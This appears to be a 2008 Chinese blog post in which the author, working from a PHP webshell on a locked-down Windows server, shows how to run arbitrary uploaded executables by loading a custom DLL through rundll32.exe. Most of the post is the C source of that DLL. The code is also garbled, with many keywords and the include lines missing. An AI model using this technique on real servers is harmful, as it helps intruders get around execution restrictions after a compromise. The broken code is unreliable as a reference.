测试开始时候PHP似乎没权执行命令本来打算用php本身些溢出问题溢出个低权限shell来后来意外发现使用proc_open可以执行些内部命令只是外部命令和目录都做了比较严格权限设置而已于是就测试可能可以利用外部命令最终测试到了rundll32.exe终于没有返回权限不足写个dll给rundll32就可以间接执行自己上传任意exe文件了也许是windows权限点小问题?毕竟使用rundll32间接执行exe身份还是php shellguest权限虽然者变了——真正原因有待进步研究
#
/*************************************************************************************************
#
* 遇到个服务器权限设置很畸形系统exe基本都无法执行自己上传exe到可写目录也不能执行
#
* 遗憾是他们漏掉了rundll32.exe这个文件权限如是……
#
* code by wustyunshu###hotmail.com, 2008,11,13,23:20
#
*************************************************************************************************/
#
#
# <stdio.h>
#
# <stdlib.h>
#
# <windows.h>
#
#
// dll入口
#
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
#
{
#
true;
#
}
#
#
void RunExe( HWND hwnd, HINSTANCE hinst, LPSTR szCmdLine, nCmdShow)
#
{
#
( szCmdLine NULL )
#
{
#
;
#
}
#
#
DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, NULL, 0);
#
wchar_t *wszCmdLine = wchar_t[dwNum];
#
(!wszCmdLine)
#
{
#
;
#
}
#
MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, wszCmdLine, dwNum);
#
#
argc;
#
LPWSTR *argv = CommandLineToArgvW( wszCmdLine, &argc );
#
#
wchar_t Cmd[256] = { 0 };
#
wchar_t Args[1024] = { 0 };
#
#
//strncpy( Cmd, argv[0], (Cmd)-1 );
#
wcsncpy( Cmd, argv[0], (Cmd)-1 );
#
( argc > 1 )
#
{
#
for( index = 1; index < argc; index )
#
{
#
wcscat( wcscat( Args, L" " ), argv[index] );
#
}
#
}
#
#
STARTUPINFO si;
#
mem( (void *)&si, 0, (STARTUPINFOA) );
#
GetStartupInfoW( &si );
#
#
//新进程输入输出重定向
#
si.cb = ( si );
#
si.dwFlags = STARTF_USESHOWWINDOW;
#
//si.wShowWindow = SW_HIDE;
#
#
PROCESS_INFORMATION processInfo;
#
mem( (void *)&processInfo, 0, (PROCESS_INFORMATION) );
#
#
//建立进程
#
CreateProcessW( Cmd, Args, NULL, NULL, 1, 0, NULL, NULL, &si, &processInfo );
#
#
Sleep( 60 * 1000 );
#
TerminateProcess( processInfo.hProcess, 0 );
#
}
最新评论